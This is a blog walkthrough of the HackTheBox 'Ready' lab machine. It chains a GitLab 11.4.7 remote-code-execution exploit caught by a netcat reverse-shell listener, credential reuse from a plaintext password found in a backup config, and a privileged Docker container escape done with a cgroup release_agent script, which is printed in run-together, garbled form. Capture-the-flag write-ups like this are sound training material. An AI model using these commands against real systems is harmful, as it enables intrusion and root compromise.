Ready HackTheBox WalkThrough

Ready HackTheBox Walkthrough

This is Ready HackTheBox machine walkthrough. In this writeup, I have demonstrated step-by-step how I rooted to Ready HTB machine. Before starting let us know something about this machine. It is a Linux box with IP address and difficulty medium assigned by its maker. First of all, connect your PC with HackTheBox VPN and make sure your connectivity with Ready machine by pinging its IP If all goes correct then start hacking.

As usual, I started by scanning the machine. Used Nmap (a port scanner) for this task and the result is below-


$ nmap -sC -sV -oN ready.nmap

Performing Nmap scan during  Ready HackTheBox Walkthrough

Nmap revealed ports 22 and 5080 as open. OpenSSH on port 22 and nginx web server on port 5080 are running. Port 22 is useless for now because we don’t have any credential to log in so leave this port and move further for enumeration on port 5080. But wait, OpenSSH banner revealed that the host Operating System is Ubuntu 4 and Ubuntu 4 was released in 2004. So if nmap is correct then we would have a large number of Kernel Exploits available to get root to this machine after we will get into it. But I am not sure whether nmap is correct. We will dig deeper when we will be inside the ready machine. For now let us enumerate on port 5080.

Nmap script http-title revealed GitLab on port 5080. So the webserver at port 5080 is using GitLab to host Git repository. GitLab is same as GitHub and is used to host git repository. After going to the URL redirected to There is a register option so immediately I registered with some fake credentials. After login into this site, found the exact version of this GitLab at URL The installed version is GitLab Community Edition 11.4.7 and a message update asap also present there.

Normally, if you see such type of message then there is clear cut information that this web application will be affected with severe security vulnerability. That’s why it is written asap.

GitLab Community version URL in ready htb

After searching GitLab Community Edition 11.4.7 exploit over internet found very first link on exploit-db which revealed that it is effected with RCE vulnerability and proof-of-concept is also present in this exploit. For more info about this exploit check here. According this exploit to use this, we require some additional parameters. They are authenticity_token, authenticated cookies, username, localport, and localip.

GitLab Remote Code execution Exploit Snippet
Snippet from Exploit

To get authenticated_token and authenticated cookies follow the given steps.

Creating New Project

1. Login to GitLab and click on New project to create new project.

Creating new project in GitLab to import project

2. Under Import project, choose git Repo by URL as a source to import project from and fill something like this

Git repository URL:

Project name: New Project

Project Slug: localhost, and leave all other fields default.

Importing new project in GitLab during Ready HackTheBox Walkthrough

3. Click on Create Project and capture the request in Burpsuite. The request will look something like this.

Capturing request in Burpsuite during Ready HTB writeup

4. Select the authenticity_token and URL decode it by pressing CTRL+SHFT+U.

5. Now copy the decoded authenticity_token and _gitlab_session to the exploit code. The final modified exploit code snippet will look something like this. Now we are all done just start netcat on port 1234 in one window and in other window run the exploit.

Exploit Snippet of GitLab

Getting User Shell

$ rlwrap nc -nvlp 1234

$ python3

Getting User Shell during Ready HackTheBox Walkthrough

We have got user shell. Upgrade the shell to fully qualified Linux shell so that we can run more advanced Linux command through it.

Upgrading Shell

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

$ export TERM=xterm

$ ^Z # Press CTRL+Z to background the shell

$ stty raw -echo

$ fg # And press two times enter to foreground the shell

Upgrading shell during ready htb

Let us capture user flag.

Capture User Flag

$ cat /home/dude/user.txt

Capturing user flag during Ready HackTheBox Walkthrough

Privilege Escalation

After some enumeration found a file gitlab.rb inside the directory /opt/backup/ and this file contains password of SMTP user. The password is wW59U!ZKMbG9+*#h. This password will be useful for us if it will be used by some other user like root.

$ cat /opt/backup/gitlab.rb | grep smtp

SMTP Password present in in gitlab.rb file

When I used this password to switch to user root I could easily switch.

Switching to User Root

$ su root


# whoami && id

Changing user to root in Ready Machine

But when I tried to capture root flag root.txt it is not present inside root home directory. After some more enumeration and googling found that this is a privileged docker container and it can be escaped to get root flag and even you can access any file which is owned by root user by escaping it. For more info check this wonderful article on escaping privileged docker container.

So to get root flag follow the given steps. I have created a bash script to escape the container and to get root flag. You can also run each command one by one or simply run the whole script on ready machine.

Capture Root Flag

#!/bin/shmkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrpmkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmdecho "cat /root/root.txt > $host_path/output" >> /cmdchmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"cat /output

On Kali Machine

$ cat

$ sudo python3 -m http.server 80

Uploading file in  ready hackthebox walkthrough

On Ready Machine

# cat /dev/shm

Downloading file in  ready hackthebox walkthrough and capturing root flag

This was how I rooted to Ready HackTheBox machine. Learnt a lot after rooting this box. Hope you have also learnt some new things from this box walkthrough. Thanks for reading this. For any query and suggestion feel free to ping us at [email protected].

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Deepak Kumar Maurya

Hi everyone, I am Deepak Kumar Maurya, creator of I am InfoSec Consultant in day and Bug Bounty Hunter & CTF player at night. Sometimes write walkthrough and other cyber security articles here. You can connect me at